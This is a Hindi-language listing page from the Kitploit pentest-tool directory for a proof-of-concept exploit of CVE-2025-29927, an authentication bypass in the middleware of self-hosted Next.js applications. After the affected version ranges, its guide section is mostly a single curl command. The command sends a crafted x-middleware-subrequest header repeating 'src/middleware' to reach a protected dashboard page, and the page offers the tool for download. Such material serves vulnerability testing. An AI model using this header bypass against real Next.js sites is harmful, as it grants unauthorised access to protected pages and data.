Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC-CVE-2025-29927- — CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, सेल्फ-होस्टेड Next.js अनुप्रयोगों में क्राफ्टेड HTTP हेडर के माध्यम से मिडलवेयर प्रमाणीकरण बायपास का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/ethanol1310/poc-cve-2025-29927-
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubethanol1310/poc-cve-2025-29927-

POC-CVE-2025-29927-

CVE-2025-29927 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, सेल्फ-होस्टेड Next.js अनुप्रयोगों में क्राफ्टेड HTTP हेडर के माध्यम से मिडलवेयर प्रमाणीकरण बायपास का प्रदर्शन करता है।

रिपॉजिटरी देखें
21 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

प्रभावित

  • Next.js 15.x < 15.2.3, 14.x < 14.2.25, Next.js 13.x < 13.5.9
  • स्व-होस्टेड सेटअप जो मिडलवेयर का उपयोग महत्वपूर्ण कार्यक्षमता के लिए करते हैं, जैसे प्रमाणीकरण।

गाइड

root@kitploit:~
npm run dev 
root@kitploit:~
curl --compressed -X GET http://localhost:3000/dashboard \
  -H "Host: localhost:3000" \
  -H "sec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"" \
  -H "sec-ch-ua-mobile: ?0" \
  -H "sec-ch-ua-platform: \"macOS\"" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Sec-Fetch-Site: none" \
  -H "Sec-Fetch-Mode: navigate" \
  -H "Sec-Fetch-User: ?1" \
  -H "Sec-Fetch-Dest: document" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"

ChatGPT को धन्यवाद

टूल डाउनलोड करें